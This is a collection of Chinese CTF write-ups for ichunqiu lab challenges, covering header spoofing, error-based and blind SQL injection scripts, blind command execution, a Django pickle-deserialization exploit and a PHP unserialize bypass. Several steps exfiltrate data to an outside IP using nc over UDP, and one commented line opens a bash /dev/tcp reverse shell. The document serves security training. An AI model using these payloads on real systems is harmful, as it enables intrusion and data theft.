http://eba7dd1e003c4745a2716d3225858e3b38f73d6ae9564699.changame.ichunqiu.com/404.php
在访问靶场网站主页的时候,通过burpsuit对其抓包分析,发现在http响应头部中包含了一个特殊的字符 X-Method: haha
            
            
将 X-Method: haha添加到http请求头部中发送请求,发现在响应http头部中并没有发生变化。
X-Method字面意思是方法,猜测有可能与http请求方法有关,那么HTTP请求方法有Get,Post,OPTIONS,PUT,DELETE,CONNECT,TRACE,挨个试,在试到OPTIONS的时候出现了302重定向,并且在location中出现了?f=1.php
            
            
通过GET方法直接访问/ ?f=1.php,发现页面显示404,并没有内容

测试OPTIONS方法发送 / ?f=1.php请求,在http响应页面中显示了1.php的源码。
得到1.php源码,发现并没有可利用点。
<?php
    $msg = "not here";
    $msg .= PHP_EOL;
    $msg .="plz trying";
    echo $msg;
通过 cansina目录扫描工具,发现系统中存在1.php,flag.php,.htaccess和index.phps文件
https://github.com/deibit/cansina
测试OPTIONS方法发送 / ?f=flag.php和/?f=index.phps请求,在http响应页面中显示了"not allowed file"
测试OPTIONS方法发送/?f=.htaccess ,在http响应页面中显示了"^8d829d8568e46455104209db5cd9228d.html $ 404.php [L]",说明系统中还存在8d829d8568e46455104209db5cd9228d.html 文件。
.htaccess文件提供了一种目录级别的修改配置的方式。一个文件,包含一条或多条配置指令,放置于目录下,这些配置指令对当前目录和其所有子目录生效),就相当于一个配置文件。
直接get请求访问 8d829d8568e46455104209db5cd9228d.html,抓包发送请求,在响应页面发现显示"ip incorrect ???XFF??",X-Forwarded-For是XFF的简称,猜测是x-forwarded-for伪造为127.0.01
http://82bdf98a1cc742c6bdf7d47338a78118e818dcc33f3f4138.changame.ichunqiu.com/8d829d8568e46455104209db5cd9228d.html
在http请求头加上x-forwarded-for:127.0.0.1,并发送请求包,在http响应页面中依然显示 "ip incorrect ???XFF??"
既然 x-forwarded-for不行,那么还有另一种IP伪造的方法是client-ip,这里尝试在http头部添加client-ip:127.0.0.1,并发送请求包,在http响应页面中显示了flag内容
最终flag:
flag{b85bcdc4-9faa-4a06-a674-547ac6151c13}
题目名称:Vld
题目内容:没有什么好介绍的
题目writeup:
启动题目场景,获得靶场网站,访问网站,发现页面内容显示“do you know Vulcan Logic Dumper?"
http://059751fe7e974e939bcf1694e02e66bf655116bcb4fc4eb5.changame.ichunqiu.com/
通过谷歌搜索发现Vulcan Logic Dumpe这样定义:
vld是PECL(PHP 扩展和应用仓库)的一个PHP扩展,现在最新版本是  0.17.1,它的作用是:显示转储PHP脚本(opcode)的内部表示( 来自PECL的vld简介)。
简单来说,可以查看PHP程序的opcode。
查看主页的 源码在注释页面中显示了index.php.txt
view-source:http://059751fe7e974e939bcf1694e02e66bf655116bcb4fc4eb5.changame.ichunqiu.com/
访问 index.php.txt文件,发现是一堆看不懂的内容

这肯定就是所谓的Vulcan Logic Dumper了,先了解下相关概念

PHP内核-Zend引擎:http://www.php.cn/php-weizijiaocheng-355597.html

PHP中的opcode:https://blog.csdn.net/weiyuanke/article/details/76921476

Vulcan Logic Dumper:http://www.phppan.com/2011/05/vld-extension/

也就是说上文中看到的一堆代码其实就是借助vld得到的,php语言中提供zend引擎执行的中间代码opcode。有了opcode便可以将其翻译成php代码。  网上也没找到翻译opcode的工具,只好借着对照表自己人工翻译了...

(opcode对照表:http://www.php.net/manual/en/internals2.opcodes.list.php)

这段代码比较简单,其实掌握下规律还是挺好分析的,这是我初步分析的结果

<?php
  echo'do+you+know+Vulcan+Logic+Dumper%3F%3Cbr%3E';
    $0=$_GET['flag1'];
    $1=$_GET['flag2']
    $2=$_GET['flag3'];
        21      如果$0不等于'fvhjjihfcv'
        22      跳转到38行
        24      如果$1不等于'gfuyiyhioyf'
        25      跳转到35行
        27      如果$2不等于'yugoiiyhi'
        28      跳转到32行
        30      echo'the+next+step+is+xxx.zip';
        31      跳转到34行
        32      EXT_STMT
        33      echo'false%3Cbr%3E';
        34      跳转到37行
        35      EXT_STMT
        36      echo'false%3Cbr%3E';
        37      跳转到40行
        38      EXT_STMT
        39      echo'false%3Cbr%3E';
        40      NOP
        41      EXT_STMT
        42      echo%3C%21--+index.php.txt+%3F%3E%0D%0A%0D%0A';
?>
进一步转换为php代码:
<?php
    echo 'do you know Vulcan Logic Dumper?<br>';
    $a=$_GET['flag1'];
    $b=$_GET['flag2'];
    $c=$_GET['flag3'];
    if($a!='fvhjjihfcv')
    {
        echo 'false<br>';
    }
    elseif($b!='gfuyiyhioyf')
    {
        echo 'false<br>';
    }
    elseif($c!='yugoiiyhi')
    {
        echo 'false<br>';
    }
    else
    {
        echo 'the next step is xxx.zip';
    }
    echo '<!-- index.php.txt ?>';
?>
有三个get参数flag1、flag2、flag3分别对应三个字符串,同时get这三个参数
那么构造/index.php?flag1=fvhjjihfcv&flag2=gfuyiyhioyf&flag3=yugoiiyhi
那么get请求访问:http://059751fe7e974e939bcf1694e02e66bf655116bcb4fc4eb5.changame.ichunqiu.com/index.php?flag1=fvhjjihfcv&flag2=gfuyiyhioyf&flag3=yugoiiyhi
网页内容转给你显示“the next step is 1chunqiu.zip”, 那么猜测可能访问 1chunqiu.zip文件。
于是git请求访问:https://059751fe7e974e939bcf1694e02e66bf655116bcb4fc4eb5.changame.ichunqiu.com/1chunqiu.zip,得到 1chunqiu.zip压缩文件,并对其进行解压得到一些php文件

在login.php的源码里有注入点,会对username的特殊符号进行处理,还会进行替换处理,输入的username会被剔除掉number里的内容。

login.php的代码如下:

?php

require_once 'dbmysql.class.php';

require_once 'config.inc.php';

if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['number'])){

    $db = new mysql_db();

    $username = $db->safe_data($_POST['username']);   //safe_data()函数给特殊符号加上了反斜杠

    $password = $db->my_md5($_POST['password']);

    $number = is_numeric($_POST['number']) ? $_POST['number'] : 1;

    $username = trim(str_replace($number, '', $username));   //替换了username中的number的内容

    $sql = "select * from"."`".table_name."`"."where username="."'"."$username"."'";     //可注入语句

    $row = $db->query($sql);

    $result = $db->fetch_array($row);

    if($row){

        if($result["number"] === $number && $result["password"] === $password){

            echo "<script>alert('nothing here!')</script>";

        }else{

            echo "<script>

            alert('密码错误,老司机翻车了!');

            function jumpurl(){

                location='login.html';

            }

            setTimeout('jumpurl()',1000);

            </script>";

        }

    }else{

        exit(mysql_error());

    }

}else{

    echo "<script>

            alert('用户名密码不能为空!');

            function jumpurl(){

                location='login.html';

            }

            setTimeout('jumpurl()',1000);

        </script>";

}

 ?>

简单对login.php进行代码分析:

首先判断number是否为数字,将username中与number相同的字符替换为空,username还进行了safe_data()函数的处理

password经过md5加密,number只能是纯数字,所以都不存在注入点。但是username虽然经过addslashes()处理,addslashes()会将%00转义为\0,单引号也会被转义(单引号,反斜杠等前面都会被加上反斜杠而转义,防御sql注入),但是又再次被这句代码处理 "  $username = trim(str_replace($number, '', $username));  ",所以我们可以利用这里让单引号逃逸出.

%00会被转义成\0 ,同时在进行sql查询的时候$username会被单引号包裹,那么可以想办法闭合掉单引号。

如果$username的值是%00',经过safe_data处理%00'会变成\0\',然后让number值为0,username中的0被替换为空,最后username=\\'

这样转义单引号的反斜杠被前一个转义,导致后面的单引号逃逸,成功闭合前面语句,可以进行注入.

而且注入后只提供了报错的回显,于是可以使用报错注入。

同时下载的压缩文件实际上是网站的源码备份,那么可以访问1chunqiu/login.html路径,得到网站登录页面。

http://059751fe7e974e939bcf1694e02e66bf655116bcb4fc4eb5.changame.ichunqiu.com/1chunqiu/login.html

登录页面中输入车牌号和用户名以及密码,并抓包,发送请求
由于没有数据回显点,所以考虑进行报错注入:
使用updatexml报错注入,测试是否存在注入
number=0&username=%00' &password=3&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
看到数据库报错,说明单引号逃逸成功,当username提交 %00' ,经过addslashes()处理后(addslashes()会在NULL前加 \ ,0等于NULL)是  \0\'。
而number也是0,所以将从username中去掉0,username则变成  \\'  ,单引号前的\被\转义,所以单引号逃逸成功,后台sql语句为 select * from`users`where username=' \\ ' '   ,可见多出一个单引号,当然报错。
报错出表名:
number=0&username=%00' and updatexml(1,mid((select concat(1,group_concat(table_name)) from information_schema.tables where table_schema=database()),1),1)#&password=x&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
或者
number=0&username=%00' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),1),1)#&password=x&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
得到表名:user1和flag
报错出列名:
number=0&username=%00' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database()),1),1)# &password=x&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
得到列名:flag,username,password,number1

查询flag表中flag列的字段内容(因为updatexml报错只显示32位,所以用substr分割显示flag)

报错出flag字段的前半部分:

number=0&username=%00' and updatexml(1,concat(1,(select substr(flag,1,32) from flag),1),1)#&password=x&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

得到flag的前部分:flag{0e0aa024-4103-43d1-9569-1aa
报错出flag字段的后半部分:
number=0&username=%00' and updatexml(1,concat(1,(select substr(flag,15,32) from flag),1),1)#&password=x&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
得到flag的后部分:d1-9569-1aa57700f560}
组合一起,得到flag:
flag{0e0aa024-4103-43d1-9569-1aa57700f560}
题目名称:
题目writeup:
启动题目场景,获得题目靶场网站,访问网站,发现主页就是一张小猫图片以及no sing内容提示
http://8fafabde91ad45e794cd3494cd780e42db150b652f414b20.changame.ichunqiu.com/
查看靶场网站主页的源码,发信有vim的编辑,于是想到有可能index.php被vim编辑过且意外退出没有保存导致 产生了swp文件,因此可能存在.index.php.swp文件
get请求访问 .index.php.swp文件,发现可以下载到本地,打开发现是乱码
https://8fafabde91ad45e794cd3494cd780e42db150b652f414b20.changame.ichunqiu.com/.index.php.swp
通过vim -r 命令恢复.swp文件
vim -r index.php.swp
恢复后得到的index.php源码:
<html>
<head>
<title>blind cmd exec</title>
<meta language='utf-8' editor='vim'>
</head>
</body>
<img src=pic.gif>
<?php
/*
flag in flag233.php
*/
 function check($number)
{
        $one = ord('1');
        $nine = ord('9');
        for ($i = 0; $i < strlen($number); $i++)
        {
                $digit = ord($number{$i});
                if ( ($digit >= $one) && ($digit <= $nine) )
                {
                        return false;
                }
        }
           return $number == '11259375';
}
if(isset($_GET[sign])&& check($_GET[sign])){
        setcookie('auth','tcp tunnel is forbidden!');
        if(isset($_POST['cmd'])){
                $command=$_POST[cmd];
                $result=exec($command);
                //echo $result;
        }
}else{
        die('no sign');
}
?>
</body>
</html>
下面简单对源码进行代码审计分析:
先用GET传入一个sign,并放入check函数,check过了就会POST传参cmd,并执行,check失败就会输出no sign,这里可以用11259375的十六进制绕过:0xabcdef
http://8fafabde91ad45e794cd3494cd780e42db150b652f414b20.changame.ichunqiu.com/index.php?sign= 0xabcdef
没有no sign说明绕过成功
接下来就是post提交命令,里面还有 setcookie('auth','tcp tunnel is forbidden!'); 这段提示说明TCP被禁止不能用curl,而且cmd命令执行后也没有回显,但最前面的注释告诉了我们flag的文件,
那么我们直接用nc命令把flag文件下载下来,我们需要一台有公网ip的服务器,我们 先在自己公网VPS服务器开启nc监听upd端 口:
nc  -ul 2233
                       
                       
post传参给cmd:
cmd=nc  -u  公网IP地址  55566 < flag233.php
cmd=nc  -u  36.111.20.223 2233 < flag233.php
提交post请求,在VPS服务器上反弹出flag内容
最终得到flag:
flag{a2213dd2-4411-4320-983a-b56d3a6dedaf}
题目名称:登陆
题目描述:先登陆再说

tips1:隐藏文件?非php源代码

tips2:缓存?

题目writeup:
启动靶场,获得靶场网站,访问网站,得到一个登陆页面
http://29c9b579802142c094847ac64d8d440e4f1c35b78e224107.changame.ichunqiu.com/Challenges/index.php
对其主页查看源代码发现 ,用户名和密码的字段名分别为 user_n3me和p3ss_w0rd
尝试输入admin' or 1=1#,密码随便输,页面显示密码错误

再尝试用户名 admin' or ‘'1'='1#,密码随便输,页面显示用户名不存在
确定为布尔盲注
发现mid, substr, left ,search 以及information_schema等很多函数都不能使用,
测试like盲注方法可进行注入,类似: admin’ or database() like ‘c%’ ;# 这样的
使用python脚本进行盲注跑出用户名:
import string
import requests
url = 'http://6aca48750940452cb8b1df89e9dd9e2aa36215093cb24102.changame.ichunqiu.com/Challenges/login.php'
headers = {'User-Agent': "Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0"}
payloads = string.ascii_letters + string.digits
temp = ''
for i in range(40):
    print("hello")
    for p in payloads:
        payload = temp + p
        name = "admin' or user_n3me like '{}%' ;#".format(payload)
        data = dict(username=name, passwrod='test')
        res = requests.post(url, headers=headers, data=data)
        if (len(res.content) == 12):
            temp = temp + p
            print(temp.ljust(32, '.'))
            break
得到用户名:bctf3dm1n
使用python 脚本进行盲注跑出用户密码:
#-*- coding:utf-8 -*-
#python3
from urllib.request import urlopen
from urllib import parse,request
import sys
import threading
url = 'http://6aca48750940452cb8b1df89e9dd9e2aa36215093cb24102.changame.ichunqiu.com/Challenges/login.php'
def get_database_length():
    for i in range(1,sys.maxsize):
        username= "admin' or length(database())>{0}#"
        username = username.format(i)
        values = {"username":username, 'password':''}  
        data = parse.urlencode(values).encode('utf-8') 
        response = request.Request(url, data)
        response = urlopen(response)
        if len(response.read().decode()) != 4:
            print("当前数据库长度为:", i)
            return i
def get_database_name():
    global lock
    lit=list("0123456789qwertyuioplkjhgfdsazxcvbnmPOIUYTREWQASDFGHJKLMNBVCXZ")
    #后台SQL语句形如:
    #select xxx from xxx where username='' or 其他字段=xxx#
    #我们把其他字段替换成user_n3me或者p3ss_w0rd即可得出表中的用户名和密码字段
    username="admin' or p3ss_w0rd like '{0}%'#"
    database=''
    print("Start to retrive the database")
    while True:
        curId=0
        while True: 
            if curId == len(lit):
                break
            i = curId
            curId += 1
            un=username.format(database+lit[i])
            print(un)
            values = {"username":un, 'password':''}     
            data = parse.urlencode(values).encode('utf-8') 
            response = request.Request(url, data)
            response = urlopen(response)
            if len(response.read().decode()) == 4:
                database=database+lit[i]
                print("the database is :%s" % database) 
                break
        if curId == len(lit):
            print(database)
            break
#print(get_database_length())
get_database_name()
得到 bctf3dm1n的密码MD5值:2bfb1532857ddc0033fdae5bde3facdf。
解密:adminqwe123666
在登录页面中输入用户名: bctf3dm1n和密码: adminqwe123666,成功登陆系统
http://6aca48750940452cb8b1df89e9dd9e2aa36215093cb24102.changame.ichunqiu.com/Challenges/index.php
在网页页面上提示网站根目录下存在.bctfg1t、index.php、login.php两个文件和一个隐藏目录,其中两个文件我们在登录过程中已经使用过了,
所以猜测flag就在隐藏目录中,然而该目录并没有访问权限,这里通过 git_extract下载git,由于题目场景靶机有问题没有下载下来。
正常可以看到下载到本地包含flag.php.a17d89 ,且内容中包含了一个 71ec9d5ca5580c58d1872962c596ea71.php文件。
get请求访问71ec9d5ca5580c58d1872962c596ea71.php,得到falg内容。
最终得到falg:
flag{db15e0ed-0d84-43b2-a904-a709b8a48beb}
题目名称:Gift

题目内容:c62s的生日礼物

题目writeup:
启动题目场景,获得靶场网站,访问网站,发现是一张图片,并且查看源码是base64形式加密的图片,并没有可利用点
http://c976760b0e164d6db6d4d5bb036c3d9a8ae45466bf1e43ca.changame.ichunqiu.com/
view-source:http://c976760b0e164d6db6d4d5bb036c3d9a8ae45466bf1e43ca.changame.ichunqiu.com/
通过御剑目录扫描工具对其进行扫描,发现存在admin目录
访问admin目录页面发现是hello admin内容,并没有可利用点
通过get请求访问主页,然后对其抓包请求,也没发现可利用点
参数将get请求方法修改为post.响应页面里面报错DEBUG=True.看起来和python的 Django异常出错有关。
根据题目内容提示 c62s的生日礼物,这里我们去github搜索关键字c62s,找到一个用户名c62s
打开进入后确实存在一个python的django项目并且也是gitt.zip的压缩包,该压缩包名字也和题目名称相同,那就证实这个项目就是我们要找到的东西

对压缩包进行解压,发现需要输入密码

在项目中有提示“你要知道我的生日才能打开礼物”,那就说明密码为该项目人的生日

那么我需要生成一个生成生日字典
使用ziperello对zip压缩包加载生成的密码字典进行爆破, 最终密码是20001111
通过 20001111作为解压密码对压缩包进行解压得到SECRET_KEY.KEY文件,打开文件得到一个key值
oa4$kkk802=rfm@tl^e5yb3qvs_ea3r!m*&j+#_+s-9=xcieci
看到Key文件可以联想到Django的反序列化漏洞
我这里用的Django-1.4.22
执行下面脚本生成 命令whoami的反序化的session值:
import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
from django.conf import settings
from django.core import signing
from django.contrib.sessions.backends import signed_cookies

settings.configure(SECRET_KEY='oa4$kkk802=rfm@tl^e5yb3qvs_ea3r!m*&j+#_+s-9=xcieci')


class Run(object):
def __reduce__(self):
# return (os.system,('touch /tmp/xxlegend.log',))
# return (os.system,('bash -i >& /dev/tcp/74.121.150.85/9999 0>&1',))
# return (os.system,('echo 111 > D:/1.txt',))
import subprocess
# return (subprocess.call,
# (['python','-c',
# 'import os,binascii;s=binascii.hexlify(os.popen("whoami").read().strip());'
# 'cmd="ping -c 1" + s + ".xxxx.dnslog.link";'
# 'os.popen(cmd)'
# ],))
return (subprocess.call,
(['python','-c',
'import os,socket;print "xxx";c=os.popen("whoami").read().strip();s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM);s.sendto(c, ("36.111.20.223",2333));'
],))
# return (subprocess.call,
# (['python','-c',
# 'import os,binascii;s=binascii.hexlify(os.popen("whoami").read().strip());'
# 'cmd="ping -c 1 -p " + s + "www.baidu.com";'
# 'os.popen(cmd)'
# ],))

sess = signing.dumps(Run(), serializer=signed_cookies.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
print sess
得到session值:
gAJjc3VicHJvY2VzcwpjYWxsCnEBXXECKFUGcHl0aG9ucQNVAi1jcQRVmWltcG9ydCBvcyxzb2NrZXQ7cHJpbnQgInh4eCI7Yz1vcy5wb3Blbigid2hvYW1pIikucmVhZCgpLnN0cmlwKCk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19ER1JBTSk7cy5zZW5kdG8oYywgKCIzNi4xMTEuMjAuMjIzIiwgMjMzMykpO3EFZYVScQYu:1mEkfh:PB_yRkY2dTK19TUZr4SH5WIdAlI
在自己的公网VPS监听udp 2333端口( 经过测试目标靶机系统已经禁用了TCP协议,因此curl和wget和bash都不能用,这里用UDP协议反弹NC):
nc -luv 2333
get请求访问admin目录,然后bupsuit抓包获取
这里cookie中的sessioid里面的值替换成python脚本生成的反序化值,然后发送请求,http响应显示发生错误信息
并在NC监听端口中显示了执行目标系统命令whomai的回显为root
执行下面脚本生成命令ls -al的反序化的session值
得到的session值:gAJjc3VicHJvY2VzcwpjYWxsCnEBXXECKFUGcHl0aG9ucQNVAi1jcQRVmGltcG9ydCBvcyxzb2NrZXQ7cHJpbnQgInh4eCI7Yz1vcy5wb3BlbigibHMgLWFsIikucmVhZCgpLnN0cmlwKCk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19ER1JBTSk7cy5zZW5kdG8oYywgKCIzNi4xMTEuMjAuMjIzIiwyMzMzKSk7cQVlhVJxBi4:1mElFq:LMy5FHGziZgGZwmfD6nQqhD7waQ
可以看到在NC监听命令中显示出目标靶机系统存在flag.txt文件。
执行下面脚本生成命令cat flag.txt 的反序化的session值
得到session值:gAJjc3VicHJvY2VzcwpjYWxsCnEBXXECKFUGcHl0aG9ucQNVAi1jcQRVnmltcG9ydCBvcyxzb2NrZXQ7cHJpbnQgInh4eCI7Yz1vcy5wb3BlbigiY2F0IGZsYWcudHh0IikucmVhZCgpLnN0cmlwKCk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19ER1JBTSk7cy5zZW5kdG8oYywgKCIzNi4xMTEuMjAuMjIzIiwyMzMzKSk7cQVlhVJxBi4:1mElJa:UbVTZP6gY5-lWbQlKDA6NuTCqQs
最终得到flag:
flag{8ae9c523-33f3-4946-855c-1e015412c005}
题目名称:fuzzing

题目内容:there is noting

题目writeup:

启动题目场景,获得靶场网站,访问网站,在页面中显示“there is nothing"

http://32987757c2bb4ecc80d2e03f8889ca8afa8770dad25f4266.changame.ichunqiu.com/Challenges/test.php
这里get请求访问靶场网站的 Challenges/test.php页面,通过bupsuit对其抓包,并发送请求,在http响应头部中显示内容“hint: ip,Large internal network”中文为:最大的内网网段IP,那就是10.0.0.0网段
并暗示我们需要伪造内网IP进行请求,这里 使用X-Forwarded-For进行伪造,所以我们随便伪造10.0.0.0网段的一个IP地址,这里伪造10.0.0.1
X-Forwarded-For:10.0.0.1
发送请求,在http响应头部中出现了Location: ./m4nage.php
那么我们get 请求访问./m4nage.php页面,在响应页面中显示“show me your key”,意思需要提供key值,这里将 key值赋值为1
那么构造 /Challenges/./m4nage.php?key=1,get方法发送请求,发现get请求方法不行
那么将get请求方法修改为post方法提交,在响应页面中显示了一些内容
得到的内容:
key is not right,md5(key)==="1b4167610ba3f2ac426a68488dbd89be",and the key is ichunqiu***,the * is in [a-z0-9] 告诉我们key不正确,并且对key 值进行md5加密生成的值等于 1b4167610ba3f2ac426a68488dbd89be,也告诉了key值的部分值为ichunqiu
这里通过脚本跑出key值:
import hashlib
def md5(data):
m = hashlib.md5()
m.update(data)
n = m.hexdigest()
return n

x = 'abcdefghijklmnopqrstuvwxyz1234567890'

test = 'ichunqiu'

for a in x:

for b in x:

for c in x:

if md5(test + a + b + c) == '1b4167610ba3f2ac426a68488dbd89be':
print test + a + b + c
执行脚本后,得到key值
得到KEY值为:ichunqiu105
将post中key的参数修改为ichunqiu105,并发送请求,在http响应包中显示“the next step: xx00xxoo.php”,下一步请求访问xx00xxoo.php
post请求访问 xx00xxoo.php,在http响应页面中显示了一些内容。
得到的响应内容为:
source code is in the x0.txt.Can you guess the key
the authcode(flag) is 58e6GPQcKHY8JSGafldNziBAjUQ841Oz/11SuAgbmBfsieCE6P+ry8VFNVzWT72F/O3cLegmIiQx6CgLjuILyADMYrTVLQc
告诉我们需要访问x0.txt,然后加密的falg的hash值,需要加密的key才能解密出flag,这里的 key值猜测是 ichunqiu105
get请求访问 x0.txt,在响应页面中得到一块php的代码。

得到php代码,看起来就是一段flag加密的函数:
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;
    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';
    $cryptkey = $keya . md5($keya . $keyc);
    $key_length = strlen($cryptkey);
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for ($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for ($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for ($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if ($operation == 'DECODE') {
        if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc . str_replace('=', '', base64_encode($result));
    }
}

那么重新整理出解密falg的php代码,在代码末尾添加一句echo将结果输出看下,并且将flag密文和ichunqiu105传入。

<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for ($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if ($operation == 'DECODE') {
if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc . str_replace('=', '', base64_encode($result));
}
}
echo authcode("58e6GPQcKHY8JSGafldNziBAjUQ841Oz/11SuAgbmBfsieCE6P+ry8VFNVzWT72F/O3cLegmIiQx6CgLjuILyADMYrTVLQc", $operation = 'DECODE', $key = 'ichunqiu105', $expiry = 0)
?>
执行php得到:
最终得到flag:
flag{fa572c92-c96a-4a2c-9c58-ba84e01898ad}
题目名称:Hash

题目内容:这只是第一步,然后呢?

题目writeup:

启动题目场景,获得靶场网站,访问网站,发现页面显示一个超链接

http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/

点击超链接,页面显示“ you are 123;if you are not 123,you can get the flag”,表示 key的值不能为123,否则不能得到flag
http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/index.php?key=123&hash=f9109d5f83921a551cf859f853afe7bb
并查看源代码在注释页面中有显示“ $hash=md5($sign.$key);the length of $sign is 8”,告诉hash值为md5($sign.$key)且sign长度为8 view-source:http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/index.php?key=123&hash=f9109d5f83921a551cf859f853afe7bb
这里将key设置为124满足能获取flag的key的值,继续访问,页面显示"the hash is not right",说明hash值不对
http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/index.php?key=124&hash=f9109d5f83921a551cf859f853afe7bb
根据上文注释中hash值:hash=md5($sign.$key)=md5($sing.124)
这里我们将链接中错误的hash值 f9109d5f83921a551cf859f853afe7bb进行md5解密
得到: kkkkkk01123
那么$sing=kkkkkk01(满足长度为8位)
于是正确的hash值:
hash=md5(kkkkkk01124)=168a1bca9081fcfccd524ae21a76a7fb
访问以下构造的链接地址:
页面内容显示:next step is Gu3ss_m3_h2h2.php ,意思是下一步访问 Gu3ss_m3_h2h2.php 页面
访问 Gu3ss_m3_h2h2.php页面,页面显示了一块php的源码:
得到 Gu3ss_m3_h2h2.php的源码:
<?php
class Demo {
    private $file = 'Gu3ss_m3_h2h2.php';

    public function __construct($file) {
        $this->file = $file;
    }

    function __destruct() {
        echo @highlight_file($this->file, true);
    }

    function __wakeup() {
        if ($this->file != 'Gu3ss_m3_h2h2.php') {
            //the secret is in the f15g_1s_here.php
            $this->file = 'Gu3ss_m3_h2h2.php';
        }
    }
}

if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!');
    } else {

        @unserialize($var);
    }
} else {
    highlight_file("Gu3ss_m3_h2h2.php");
}
?>
源码内容是php反序列化操作,由此可见是利用的PHP反序列化漏洞,下一步我们就是要通过这个存在序列化漏洞的页面构造语法来获取the f15g_1s_here.php的源码:
1.看到wakeup()函数,想到了这是序列化的漏洞,wakeup()一旦执行就会调用反序列化函数,了绕过wakeup()我们将数据的属性值大于真实值即可。还有对/[oc]:\d+:/i,这个正则表达式的绕过,我们只需要将:5:变成这种形式:+5:即可绕过正则表达式的匹配。
最终的秘密在f15g_1s_here.php里面,先将f15g_1s_here.php作为参数传入Demo9函数,将整个函数实例化赋值给变量a,再序列化变量a,绕过正则,绕过wakeup函数,最后再进行base64编码。
大意是用get方式传递var参数,先对它base64解码,接着正则匹配,然后对其反序列化。在反序列化时,wakeup这个函数使得我们传进去的文件名f15g_1s_here.php变成Gu3ss_m3_h2h2.php了,
想要读取f15g_1s_here.php,需要绕过它。(具体见之前写的一篇反序列化中__wakeup()函数漏洞)
对于用'+'绕过正则,参考了这篇文章,链接https://xz.aliyun.com/t/2733
所以,构造的序列化代码如下: 
<?php
class Demo {
    private $file = 'Gu3ss_m3_h2h2.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'Gu3ss_m3_h2h2.php') {
            //the secret is in the f15g_1s_here.php
            $this->file = 'Gu3ss_m3_h2h2.php';
        }
    }
}
$a = new Demo('f15g_1s_here.php');
$s = serialize($a);
echo $s;
echo '<br>';
$s = str_replace('O:4', 'O:+4',$s);//绕过正则
$s = str_replace(':1:', ':2:' ,$s);//绕过wakeup函数
echo base64_encode($s);//最后base64编码
?>
